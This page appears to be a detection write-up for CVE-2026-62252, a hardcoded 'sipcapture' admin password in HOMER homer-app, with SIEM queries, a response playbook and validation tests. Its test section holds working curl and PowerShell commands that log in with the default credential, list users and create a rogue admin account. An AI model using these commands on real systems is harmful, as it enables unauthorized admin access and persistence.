Detect Homer homer-app Hardcoded Default Admin Password 'sipcapture' (CVE-2026-62252) in CrowdStrike LogScale
Detects exploitation and exposure of CVE-2026-62252, a hardcoded default administrator credential in sipcapture/homer-app (HOMER VoIP/SIP capture platform). Versions prior to 0.0.0-20260625091610-b2e942031ff8 (release 11.0.283) ship a built-in admin account with the password 'sipcapture' and do not force a password change on first login, allowing unauthenticated attackers to authenticate as admin via the HOMER web UI/API. This detection surfaces successful or attempted logins using the default credential, admin logins from unexpected sources, and post-authentication abuse of the HOMER API.
MITRE ATT&CK
LogScale Detection Query
// df00tech DF00-7193c1d790 · https://df00tech.com/detections/CVE-2026-62252 · licence: https://df00tech.com/detections/licence
#event_simpleName=/Http/ OR #repo="web"
| url_path = /\/api\/v3\/(auth|login|users)/i
| http_method = "POST"
| status_code = /20[01]/
| groupBy([src_ip, dest_host, url_path], function=[count(as=auth_events), min(@timestamp, as=first_seen), max(@timestamp, as=last_seen)])
| sort(auth_events, order=desc) CrowdStrike LogScale/CQL query over ingested web telemetry for successful POST requests to the HOMER homer-app v3 API. Review authenticating source IPs against the management allowlist; admin logins from unexpected hosts indicate default-credential abuse.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate admin sessions after the default password has been rotated.
- Service accounts or monitoring calling the HOMER API with valid credentials.
- Proxy source-address rewriting masking the true client IP.
Other platforms for CVE-2026-62252
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Authenticate to HOMER with default admin credential
Expected signal: Web/proxy log entry: POST /api/v3/auth returning HTTP 200 with a JWT in the response body.
- Test 2 Enumerate HOMER users with default admin token
Expected signal: POST /api/v3/auth (200) followed shortly by GET /api/v3/users (200) from the same source IP.
- Test 3 Create rogue admin user via default credential (Windows client)
Expected signal: POST /api/v3/auth (200) and POST /api/v3/users (201) from the Windows client source IP.
References (5)
- https://github.com/sipcapture/homer/security/advisories/GHSA-6xp5-7rcx-xfgx
- https://github.com/sipcapture/homer/pull/838
- https://github.com/sipcapture/homer/commit/b2e942031ff8cd7435a244ebef306ee97d16b809
- https://github.com/sipcapture/homer/releases/tag/11.0.283
- https://github.com/advisories/GHSA-6xp5-7rcx-xfgx
Response Playbook
Triage
- Confirm the HOMER homer-app version in use (check go.mod / build metadata or the UI footer). Any version prior to 0.0.0-20260625091610-b2e942031ff8 / release 11.0.283 is vulnerable.
- Attempt to authenticate to the HOMER UI/API with admin / 'sipcapture' from a controlled host to verify whether the default credential is still active. If it succeeds, treat the instance as compromised until proven otherwise.
- Review web/proxy logs for the alerting source IP: determine whether admin authentication originated from the approved management subnet or from an untrusted/external network.
- Enumerate all successful /api/v3/auth and /api/v3/users calls in the alert window to identify session hijacking, new user creation, or privilege changes.
Containment
- Immediately rotate the HOMER admin password to a strong unique value and invalidate existing admin sessions/JWTs.
- Restrict network access to the HOMER web UI/API to the management subnet via firewall or reverse-proxy ACL until the instance is patched.
- If default-credential access from an untrusted source is confirmed, disable the affected admin account and isolate the HOMER host pending forensic review.
Evidence Collection
- Preserve HOMER application logs, web server/reverse-proxy access logs, and database audit records covering the suspected access window.
- Capture the homer-app configuration, user table (accounts, roles, creation timestamps), and any JWT/session store to document unauthorized accounts or changes.
Escalation Criteria
- !Escalate to incident response if the default admin credential authenticated successfully from any source outside the approved management network.
- !Escalate if post-authentication activity shows new/modified user accounts, configuration changes, or data export from the HOMER capture database.
Investigation Guide
Forensic Artifacts
- >
HOMER homer-app authentication/audit logs and JWT session records. - >
Web server / reverse-proxy access logs showing POST /api/v3/auth requests and their source IPs. - >
homer-app user table entries (account creation and role-change timestamps).
Tuning Guidance
Build an allowlist of approved management source IPs/subnets for HOMER administration and suppress matches originating from them once the default password has been confirmed rotated. If a reverse proxy fronts HOMER, ensure X-Forwarded-For is parsed so the true client IP is evaluated rather than the proxy address. Lower volume by scoping queries to the HOMER host(s) and the /api/v3/auth and /api/v3/users paths specifically.
Hunting Queries
Baselines which source IPs call the HOMER v3 auth/user API so analysts can spot admin authentication from outside the management network.
// df00tech DF00-7193c1d790 · https://df00tech.com/detections/CVE-2026-62252 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem startswith "/api/v3/" and csMethod == "POST" | summarize count() by cIP, csUriStem, bin(TimeGenerated, 1h) | order by count_ desc ``` df00tech DF00-7193c1d790 · https://df00tech.com/detections/CVE-2026-62252 · licence: https://df00tech.com/detections/licence ```
index=web uri_path="/api/v3/*" method=POST | stats count by src_ip, uri_path, status | sort - count Atomic Red Team Tests
Attempts to log in to a lab HOMER homer-app instance using the hardcoded default admin / 'sipcapture' credential and captures the returned auth token.
Command
curl -s -X POST http://homer.lab.local:9080/api/v3/auth -H 'Content-Type: application/json' -d '{"username":"admin","password":"sipcapture"}' Cleanup
unset HOMER_TOKEN 2>/dev/null; true Expected Telemetry
Web/proxy log entry: POST /api/v3/auth returning HTTP 200 with a JWT in the response body.
Expected Detection
KQL/SPL rules flag a successful POST to /api/v3/auth; manual correlation confirms the default credential was used.
Uses an auth token obtained via the default credential to list HOMER user accounts, demonstrating post-authentication access to sensitive data.
Command
TOKEN=$(curl -s -X POST http://homer.lab.local:9080/api/v3/auth -H 'Content-Type: application/json' -d '{"username":"admin","password":"sipcapture"}' | sed -n 's/.*"token":"\([^"]*\)".*/\1/p'); curl -s http://homer.lab.local:9080/api/v3/users -H "Authorization: Bearer $TOKEN" Cleanup
unset TOKEN 2>/dev/null; true Expected Telemetry
POST /api/v3/auth (200) followed shortly by GET /api/v3/users (200) from the same source IP.
Expected Detection
Detection surfaces the successful auth plus user-enumeration call from a single source; analyst flags non-management origin.
From a Windows host, authenticates with the default credential and attempts to create a new HOMER user, simulating attacker persistence.
Command
$b=@{username='admin';password='sipcapture'}|ConvertTo-Json; $t=(Invoke-RestMethod -Method Post -Uri 'http://homer.lab.local:9080/api/v3/auth' -ContentType 'application/json' -Body $b).token; $u=@{username='rogue';password='Lab-Only-123!';admin=$true}|ConvertTo-Json; Invoke-RestMethod -Method Post -Uri 'http://homer.lab.local:9080/api/v3/users' -Headers @{Authorization="Bearer $t"} -ContentType 'application/json' -Body $u Cleanup
Invoke-RestMethod -Method Delete -Uri 'http://homer.lab.local:9080/api/v3/users/rogue' -Headers @{Authorization="Bearer $t"} 2>$null Expected Telemetry
POST /api/v3/auth (200) and POST /api/v3/users (201) from the Windows client source IP.
Expected Detection
Detection fires on the successful auth and user-creation POST; new HOMER account appears in the user table audit.